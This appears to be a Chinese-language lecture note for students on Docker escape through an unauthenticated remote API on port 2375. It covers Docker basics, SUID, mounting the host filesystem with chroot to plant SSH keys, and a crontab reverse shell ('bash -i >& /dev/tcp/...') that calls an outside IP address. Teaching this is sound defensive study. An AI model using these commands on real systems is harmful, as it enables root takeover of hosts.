Docker远程API未授权访问导致的Docker逃逸
前言
是给社团学弟学妹们一次讲课的一次md。
服务器
https://cloud.tencent.com/act/campus
当然想要复现学习这个的话,本地也足够了,可以在linux虚拟机中装docker来复现即可。
Docker
Docker 是一个开源的应用容器引擎,基于 Go 语言 并遵从 Apache2.0 协议开源。
Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。
容器是完全使用沙箱机制,相互之间不会有任何接口(类似 iPhone 的 app),更重要的是容器性能开销极低。
虽然Docker确实和虚拟机有很大的区别,但是对于第一次接触的同学来说,也可以认为Docker是虚拟机,这样可以更好的对比和理解(底层的实现原理和细节确实是完全不一样的,但是宏观上在使用的时候,确实可以看作就是个虚拟机。)
Docker主要包含三个方面,镜像、容器、仓库。
入门讲的比较好的文章:https://zhuanlan.zhihu.com/p/47077536
安装直接参照https://www.runoob.com/docker/docker-tutorial.html
root@da7a193ee153:/# docker search ubuntu
NAME DESCRIPTION STARS OFFICIAL AUTOMATED
ubuntu Ubuntu is a Debian-based Linux operating sys… 13462 [OK]
dorowu/ubuntu-desktop-lxde-vnc Docker image to provide HTML5 VNC interface … 599 [OK]
websphere-liberty WebSphere Liberty multi-architecture images … 282 [OK]
rastasheep/ubuntu-sshd Dockerized SSH service, built on top of offi… 256 [OK]
consol/ubuntu-xfce-vnc Ubuntu container with "headless" VNC session… 243 [OK]
ubuntu-upstart DEPRECATED, as is Upstart (find other proces… 112 [OK]
neurodebian NeuroDebian provides neuroscience research s… 88 [OK]
1and1internet/ubuntu-16-nginx-php-phpmyadmin-mysql-5 ubuntu-16-nginx-php-phpmyadmin-mysql-5 50 [OK]
open-liberty Open Liberty multi-architecture images based… 49 [OK]
ubuntu-debootstrap DEPRECATED; use "ubuntu" instead 45 [OK]
i386/ubuntu Ubuntu is a Debian-based Linux operating sys… 28
solita/ubuntu-systemd Ubuntu + systemd 24 [OK]
nuagebec/ubuntu Simple always updated Ubuntu docker images w… 24 [OK]
fnndsc/ubuntu-python3 A slim Ubuntu-based Python3 image 24 [OK]
1and1internet/ubuntu-16-apache-php-5.6 ubuntu-16-apache-php-5.6 14 [OK]
1and1internet/ubuntu-16-apache-php-7.0 ubuntu-16-apache-php-7.0 13 [OK]
1and1internet/ubuntu-16-nginx-php-phpmyadmin-mariadb-10 ubuntu-16-nginx-php-phpmyadmin-mariadb-10 11 [OK]
1and1internet/ubuntu-16-nginx-php-5.6-wordpress-4 ubuntu-16-nginx-php-5.6-wordpress-4 9 [OK]
1and1internet/ubuntu-16-nginx-php-5.6 ubuntu-16-nginx-php-5.6 8 [OK]
1and1internet/ubuntu-16-apache-php-7.1 ubuntu-16-apache-php-7.1 7 [OK]
1and1internet/ubuntu-16-nginx-php-7.0 ubuntu-16-nginx-php-7.0 4 [OK]
1and1internet/ubuntu-16-php-7.1 ubuntu-16-php-7.1 1 [OK]
1and1internet/ubuntu-16-sshd ubuntu-16-sshd 1 [OK]
smartentry/ubuntu ubuntu with smartentry 1 [OK]
1and1internet/ubuntu-16-rspec ubuntu-16-rspec 0 [OK]
root@da7a193ee153:/# docker pull ubuntu
Using default tag: latest
latest: Pulling from library/ubuntu
ea362f368469: Pull complete
Digest: sha256:b5a61709a9a44284d88fb12e5c48db0409cfad5b69d4ff8224077c57302df9cf
Status: Downloaded newer image for ubuntu:latest
docker.io/library/ubuntu:latest
root@da7a193ee153:/#
docker run -it ubuntu
uname -a
Docker swarm
Swarm是Docker官方提供的一款集群管理工具,其主要作用是把若干台Docker主机抽象为一个整体,并且通过一个入口统一管理这些Docker主机上的各种Docker资源。Swarm和Kubernetes比较类似,但是更加轻,具有的功能也较kubernetes更少一些。
为什么会提到它呢?创建Docker swarm集群的方法中官方推荐使用docker run
来运行swarm container
。基本过程如下:
- 需要在每台机器上安装docker,并且运行Docker Swarm container
- 需要一个或多个Swarm manager(主从)来管理docker 节点
- 管理的docker节点上需要开放一个TCP端口(2375)来与Swarm manager通信
关键就在于这第三步,需要docker节点开放TCP的2375端口来与swarm管理来进行通信。那么Docker的2375端口是什么呢?
Docker Daemon([ 'di:mən ])
Docker daemon
是服务器组件,以 Linux
后台服务的方式运行,是 Docker
最核心的后台进程,我们也把它称为守护进程。它负责响应来自 Docker Client
的请求,然后将这些请求翻译成系统调用完成容器管理操作。该进程会在后台启动一个 API Server
,负责接收由 Docker Client
发送的请求,接收到的请求将通过Docker daemon
内部的一个路由分发调度,由具体的函数来执行请求。
默认配置下, Docker daemon
只能响应来自本地 Host
的客户端请求。如果要允许远程客户端请求,需要在配置文件中打开 TCP
监听。
Docker的2375端口
Docker的2375端口是docker remote API
的默认端口,一般是不使用的(不占用)。
为什么让Docker daemon
能够响应远程客户端的请求,需要在配置文件里面打开TCP
监听。
首先查找一下docker.service
文件:
root@VM-0-6-ubuntu:~/.ssh# find / -name docker.service
/lib/systemd/system/docker.service
/sys/fs/cgroup/devices/system.slice/docker.service
/sys/fs/cgroup/memory/system.slice/docker.service
/sys/fs/cgroup/pids/system.slice/docker.service
/sys/fs/cgroup/cpu,cpuacct/system.slice/docker.service
/sys/fs/cgroup/blkio/system.slice/docker.service
/sys/fs/cgroup/systemd/system.slice/docker.service
/sys/fs/cgroup/unified/system.slice/docker.service
/var/lib/lxcfs/cgroup/devices/system.slice/docker.service
/var/lib/lxcfs/cgroup/memory/system.slice/docker.service
/var/lib/lxcfs/cgroup/pids/system.slice/docker.service
/var/lib/lxcfs/cgroup/cpu,cpuacct/system.slice/docker.service
/var/lib/lxcfs/cgroup/blkio/system.slice/docker.service
/var/lib/lxcfs/cgroup/name=systemd/system.slice/docker.service
/var/lib/systemd/deb-systemd-helper-enabled/multi-user.target.wants/docker.service
find: ‘/proc/10537/task/10537/net’: Invalid argument
find: ‘/proc/10537/net’: Invalid argument
/etc/systemd/system/multi-user.target.wants/docker.service
root@VM-0-6-ubuntu:~/.ssh#
添加2375的TCP:
ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock -H tcp://0.0.0.0:2375
然后重新加载配置和重启docker
:
systemctl daemon-reload
systemctl restart docker
2375端口就可以实现远程访问了。
docker remote API有什么用?
docker -H tcp://0.0.0.0:2375/ ps -a
非常的危险。不过,只要不把2375端口暴漏在公网上,一般是没事的。
可是一旦因为没有注意或者没有安全意识的话,暴漏在了公网上,就寄了。
How to attack it?
可以任意执行Docker命令了。可以操作Docker的容器。如果网站部署在了Docker容器里面的话,可以进入攻击。但是,毕竟这仅仅是Docker的容器,并不影响主服务器,有什么办法利用呢?
其利用的根本思路,可能和SUID提权有点像。
SUID提权
众所周知,linux中文件的权限一般是这样的:rwx rwx rwx
。分别是421,可读可写可执行。
SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。
find / -user root -perm -4000 -print 2>/dev/null
chmod u+s /usr/bin/cat
不过其实SUID和本次的内容没有什么联系,单纯的想介绍一下这种提权的思想。
因为,Docker是以root权限运行的。可以任意执行Docker命令,就意味着有机会提权。实际上,Docker接下来的这些攻击方式也和Redis的未授权攻击方式基本差不多了。感兴趣的同学可以之后复现学习。
攻击方式1-写公钥
众所周知,Linux中ssh登录可以直接通过输入用户名和密码的方式来登录,也可以通过密钥来登录。
密钥形式登录的原理是:利用密钥生成器制作一对密钥——一只公钥和一只私钥。将公钥添加到服务器的某个账户上,然后在客户端利用私钥即可完成认证并登录。这样一来,没有私钥,任何人都无法通过 SSH 暴力破解你的密码来远程登录到系统。此外,如果将公钥复制到其他账户甚至主机,利用私钥也可以登录。
(具体的原理可以课后学习)
[root@VM-4-14-centos .ssh]# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Saving key "/root/.ssh/id_rsa" failed: passphrase is too short (minimum five characters)
[root@VM-4-14-centos .ssh]# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:JNGLYxRD5g2w9n9ddrVjZikOfEfIZIycJ/57roJTU4k root@VM-4-14-centos
The key's randomart image is:
+---[RSA 2048]----+
| .oBo . +o |
| +.=. =+o. |
| o.o.o.. +o...|
| . .+o. .E o. +|
| ...S ooooO.|
| . +++*..|
| . + o.. |
| + . . . |
| . ..+. |
+----[SHA256]-----+
[root@VM-4-14-centos .ssh]#
authorized_keys
还需要编辑/etc/ssh/sshd_config
:
RSAAuthentication yes
PubkeyAuthentication yes
PermitRootLogin yes
其中PermitRootLogin
是允许root用户通过ssh登录。
再重启ssh服务:
service sshd restart
接下来该怎么办呢?是否有同学联想过,Docker和Vmware有些类似的地方,一个是启动容器,一个是启动一个虚拟机,且容器和虚拟机的环境都是分割开的。
再联想一下,之前希望把主机里的文件放入虚拟机中或者将虚拟机里的文件放入主机中,可以直接cv,似乎还可以在虚拟机中挂载一个共享文件夹?
那么,Docker可不可以呢?是可以的。
docker -H tcp://0.0.0.0:2375/ run -it -v /:/mnt mattrayner/lamp chroot /mnt /bin/bash
docker pull busybox
。
攻击方式2-crontab定时任务反弹shell
这也是提权的一种常用的手段。如果不允许root用户登录或者不允许私钥登录的话,就可以反弹个shell。
通过crontab 命令,我们可以在固定的间隔时间执行指定的系统指令或 shell script脚本。时间间隔的单位可以是分钟、小时、日、月、周及以上的任意组合。这个命令非常适合周期性的日志分析或数据备份等工作。
我们经常使用的是crontab命令是cron table的简写,它是cron的配置文件,也可以叫它作业列表,我们可以在以下文件夹内找到相关配置文件。
- /var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名
- /etc/crontab 这个文件负责调度各种管理和维护任务。
- /etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
- 我们还可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。
crontab -l
:列出当前用户的crontab
# 计划任务定义的例子:
# .---------------- 分 (0 - 59)
# | .------------- 时 (0 - 23)
# | | .---------- 日 (1 - 31)
# | | | .------- 月 (1 - 12)
# | | | | .---- 星期 (0 - 7) (星期日可为0或7)
# | | | | |
# * * * * * 执行的命令
* * * * * date >> /time.txt 2>&1
定时任务有什么用?既然容器中是root权限,挂载后可以直接控制主机中root的crontab文件,反弹个shell就可以拿到主机的root权限。
bash -i >& /dev/tcp/43.132.189.56/39767 0>&1
就是这么的简单。